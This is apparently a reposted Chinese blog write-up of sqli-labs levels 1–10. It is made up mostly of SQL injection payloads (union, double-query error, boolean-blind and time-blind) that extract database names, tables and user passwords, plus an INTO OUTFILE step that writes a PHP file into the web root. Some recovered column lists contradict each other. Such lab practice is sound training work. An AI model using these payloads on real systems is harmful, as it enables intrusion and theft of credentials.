sqli-labs前十关记录
Posted 墨子辰
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqli-labs前十关记录相关的知识,希望对你有一定的参考价值。
目录
- 第一题:布尔报错注入
- 第二题:布尔报错注入
- 第三题: 布尔报错注入 ‘ 报错
- 第四题:布尔报错注入“ 报错
- 第五题:双查询注入 ' 注入
- 第六题: 双查询注入 " 报错
- 第七题:导出文件GET字符型注
- 第八题: 布尔盲注
- 第九题:基于时间盲注 ' 报错
- 第十题:基于时间盲注 " 报错
第一题:布尔报错注入
?id=1'
?id=1' and 1=1--+
确认漏洞是否存在
?id=1' order by 3--+
确定字段数
?id=-1' union select 1,2,3--+
确定显示位置【负号是作为报错注入】
?id=-1' union select 1,database(),3--+
查询数据库名称
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查询所有表名
【 group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])】
?id=-1' union select 1,2,group_concat(SCHEMA_NAME) from information_schema.schemata --+
可以列出当前数据库的所有表信息【这个语句还是很好用的】
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+
查询users表里面的所有列
?id=-1' union select 1,2,group_concat(password,username) from users --+
查询列里面的内容
第二题:布尔报错注入
?id=1'
‘’ LIMIT 0,1’
这里可以看见报错类型是’‘LIMIT 0,1’ 说明,我们注入的时候可以去掉id=1’这一飘
?id=-1 or 1=1--+
?id=-1 or 1=2--+
通过第一条返回正常,第二题返回异常确定存在注入
?id=-1 order by 3--+
?id=-1 order by 4--+
通过返回页面不同,可以确定字段数为3
?id=-1 union select 1,2,3--+
返回如下
?id=-1 union select 1,2,database()--+
获取数据库
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
获取表
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+
获取列
?id=-1 union select 1,2,group_concat(password) from users--+
获取字段
第三题: 布尔报错注入 ‘ 报错
?id=1’ 报错信息如下
You have an error in your SQL syntax; check the manual that corresponds to your mysql server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
说明我们的注入语句可能是这样的
select a,b from table where id=('our input contents')
通过如下俩条返回信息得出,漏洞点确实存在
?id=-1') or 1=1--+
?id=-1') or 1=2--+
通过页面返回信息,得知字段数为3
?id=-1') order by 3--+
?id=-1') order by 4--+
获取数据库
?id=-1') union select 1,2,database()--+
获取表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
获取列
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="referers"--+
获取内容
?id=-1') union select 1,2,group_concat(id) from referers--+
第四题:布尔报错注入“ 报错
?id=1’
没有报错
?id=1"报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
确定漏洞点
?id=1") and 1=1--+
?id=1") and 1=2--+
确定字段数
?id=1") order by 3--+
?id=1") order by 4--+
爆数据库
?id=-1") union select 1,2,database()--+
获取表
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
获取列
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+
获取内容
?id=-1") union select 1,2,group_concat(password) from users--+
第五题:双查询注入 ’ 注入
在第一次接触到双查询注入时 肯定会有很多问题 在这里我们先了解一下什么叫做 双查询注入 他的语法结构 以及为什么这样构造
在此之前,我们理解一下子查询,查询的关键字是select,这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。
看一个简单的例子:
Select concat((select database()));
真正执行的时候,先从子查询进行。因此执行select database() 这个语句就会把当前的数据库查出来,然后把结果传入到concat函数。这个函数是用来连接的。比如 concat(‘a’,’b’)那结果就是ab了。
双注入查询需要理解四个函数/语句
- Rand() //随机函数
- Floor() //取整函数
- Count() //汇总函数
- Group by clause //分组语句
5.limit
use security;
concat((select database()));
就能显示security,也就是显示了当前数据库的名字了。
然后我们测试一下rand()这个随机函数是干嘛的 我们多执行一下
可以发现这是返回0-1之间的小数
我们从里向外看。rand() 返回大于0小于1的小数,乘以2之后就成了小于0小于2了。然后对结果进行取整。就只能是0或1了。也就是这个查询的结果不是1,就是0 我们稍微加大一点难度。看这个查询
select concat((select database()),floor(rand()*2));
不要怕。先看最里面的SELECT database() 这个就返回数据库名,这里就是security了。然后FLOOR(RAND()*2)这个上面说过了。不是0,就是1.然后把这两个的结果进行concat连接,那么结果不是security0就是security1了。
如果我们把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录,这里users表里有13个用户,所以返回了13条
如果是从information_schema.schemata里,这个表里包含了mysql的所有数据库名。这里本机有16个数据库。所以会返回16个结果
现在我们准备加上Group By 语句了。
我们使用information_schema.tables 或information_schema.columns者两个表来查询。因为表里面一般数据很多。容易生成很多的随机值,不至于全部是security0,这样就不能查询出结果了。
select concat((select database()),floor(rand()*1000))as a from information_schema.schemata group by a;
这里我先解释一下。
我们把concat((select database()), floor(rand()*1000)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。就剩下16个结果了。
意这里的database()可以替换成任何你想查的函数,比如version(), user(), datadir()或者其他的查询。比如查表啊。查列啊。原理都是一样的。
最后的亮点来了。。
我们输入这条:注意多了一个聚合函数count(*)
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
开始解题:
?id=1' union select null,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a--+
?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema="security" limit 3,1),floor(rand()*2) ) as a from information_schema.tables group by a--+
?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name="users" limit 15,1),floor(rand()*2) ) as a from information_schema.tables group by a--+
?id=1' union select null,count(*),concat((select password from users limit 1,1),floor(rand()*2) ) as a from information_schema.tables group by a--+
第六题: 双查询注入 " 报错
思路和第五题完全一样,id后面 那个单引号变双引号即可
第七题:导出文件GET字符型注
1.这一关与前几关不同,这一关的报错是没有报出详细的数据库错误原因,而是统一的“ You have an error in your SQL syntax ”
2.查询成功时显示“You are in…. Use outfile……”,其中“outfile”是mysql里面的一个向系统写入文件的函数,
3.那么sql注入第一步当然是先确定注入点,我们使用常用的闭合符(如 ‘ ” ) ] 或他们的组合)进行闭合 ?id=1 ,并且在后面加上 and 1=1–+ 或 and 1=2–+ 进行判断闭合符的正确性,如果 ?id=1* and 1=1–+ 为真,且 ?id=1* and 1=2–+ 为假,那么*字符串就是有效的闭合符,我经过测试后发现 ')) 字符串可以闭合。
?id=1')) union select 1,2,"<?php phpinfo();?>" into outfile "E:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\b.php" --+
第八题: 布尔盲注
对于盲注只有2种感觉,好玩,好烦。
新技能好玩,一个一个猜好烦。
手工注入,一个个猜解。大多数人都会觉得特别烦躁的东西。
注入还设有第一点,看注入点在哪里。
个人的查看注入点的方式‘单引号,“双引号,
http://localhost/sqli/Less-8/?id=1 #正常
http://localhost/sqli/Less-8/?id=1‘ #不正常
http://localhost/sqli/Less-8/?id=1" #正常
接下来就是构造闭合
http://localhost/sqli/Less-8/?id=1‘--+ #正常,我可以认为是闭合成功了。
http://localhost/sqli/Less-8/?id=1‘ and 1=1--+ #正常
http://localhost/sqli/Less-8/?id=1‘ and 1=2--+ #不正常
接下来我可以尝试猜解数据库了。首先猜解数据库的长度。数据库猜解长度的函数length
length() 返回字符串的长度
http://localhost/sqli/Less-8/?id=1‘ and length(database())>1--+ #肯定大于1,这个事实
http://localhost/sqli/Less-8/?id=1‘ and length(database())>7--+ #大于7
http://localhost/sqli/Less-8/?id=1‘ and length(database())>8--+ #不大于8
http://localhost/sqli/Less-8/?id=1‘ and length(database())=8--+ #数据库等于8,然后呢!
然后猜解字符了,编辑坑爹呀!感觉还是写个字典用burp跑,通过ascii()和substr()猜测数据库名
ascii() #返回指定数字对应的ascii码字符函数
substr() #截取从pos位置开始到最后的所有str字符串
?id=1‘ and (select ascii(substr(database(),1,1)))=115--+ #115=s
不停的爆破
第二个是101 e
第三个是 99 c
第四个是117 u
第五个是114 r
第六个是105 i
第七个是116 t
第八个是121 y
可以得到数据库名字为:security
接下来头疼的爆数据表,盲注果然是很枯燥的事情。
?id=1‘ and (select ascii(substr((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1,1)))=117--+
第一个数据表 101,109,97,105,108,115 =>emails
第二个数据表 114,101,102,101,114,101,114,115 =>referers
第三个数据表 117,97,103,101,110,116,115 =>uagents
第四个数据表 117,115,101,114,115 =>users
爆字段了,我是有点奔溃了。。。。接下来更加坑爹的爆字段。
?id=1‘ and (select ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),2,1)))=105--+
第一个字段 117,115,101,114,95,105,100 =>user_id
第二个字段 102,105,114,115,116,95,110,97,109,101 =>first_name
内心是奔溃,想办法简略一下。不是117=u或者112=p直接忽略
第三个字段 108 pass =>last_name
第四个字段 117,115,101,114 =>user
第五个字段 112,97,115,115,119,111,114,100, =>password
第六个字段 97 pass =>avatar
第七个字段 105 =》id
第八个字段 117,115,101,114,110,97,109,101 =>username
猜解一下用户名username,密码password
感觉太悲催。
?id=1‘ and (select ascii(substr((select username from users limit 0,1),1,1)))=105--+
第一个用户名:68,117,109,98 =>Dumb
?id=1‘ and (select ascii(substr((select password from users limit 0,1),1,1)))=68--+
第一个密码:68,117,109,98 =>Dumb
本题参考原文地址:https://www.cnblogs.com/llcn/p/12698583.html
第九题:基于时间盲注 ’ 报错
if(条件1,条件2,条件3)
如果条件1正确就执行条件2否则执行条件3
根据执行时间来判断语句是否执行成功,下面语句也是一样的操作(用二分法ascii[1-127])一个一个找出对应字母得到想要的内容。
?id=1' and if((length(database())>1),sleep(1),1)--+
?id=1' and if((length(database())=8),sleep(1),1)--+
得到数据库长度
?id=1' and if(((ascii(substr(database(),2,1)))>1),sleep(1),1)--+
?id=1' and if(((ascii(substr(database(),2,1)))=101),sleep(1),1)--+
得到数据库名称为:security
1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101),sleep(1),1)--+
或者:
1' and if((select (substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),4,1))='i'),sleep(1),1)--+
得到第一个表名:emails、referers、uagents、users
1' and if((select (substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))='i'),sleep(1),1)--+
或者:
1' and if((select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>1),sleep(1),1)--+
获取到users字段为:id、login、password
1' and if((select ascii(substr((select password from users limit 0,1),1,1))>1),sleep(1),1)--+
利用二分法,获取password里面的内容
第十题:基于时间盲注 " 报错
原理和第九题原理完全一样,只是前者是单引号引起报错,后者是双引号引起报错。
如果反应时间太短无法判断,可以把sleep(1)改位sleep(3) 时间上更清晰,根据自己需要调整
if(条件1,条件2,条件3)
如果条件1正确就执行条件2否则执行条件3
根据执行时间来判断语句是否执行成功,下面语句也是一样的操作(用二分法ascii[1-127])一个一个找出对应字母得到想要的内容。
得到数据库长度
?id=1" and if((length(database())>1),sleep(1),1)--+
?id=1" and if((length(database())=8),sleep(1),1)--+
得到数据库名称为:security
?id=1" and if(((ascii(substr(database(),2,1)))>1),sleep(1),1)--+
?id=1" and if(((ascii(substr(database(),2,1)))=101),sleep(1),1)--+
1" and if((select ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101),sleep(1),1)--+
或者:
1" and if((select (substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),4,1))='i'),sleep(1),1)--+
得到第一个表名:emails、referers、uagents、users
1" and if((select (substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))='i'),sleep(1),1)--+
或者:
1" and if((select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>1),sleep(1),1)--+
获取到users字段为:id、login、password
1" and if((select ascii(substr((select password from users limit 0,1),1,1))>1),sleep(1),1)--+
利用二分法,获取password里面的内容
以上是关于sqli-labs前十关记录的主要内容,如果未能解决你的问题,请参考以下文章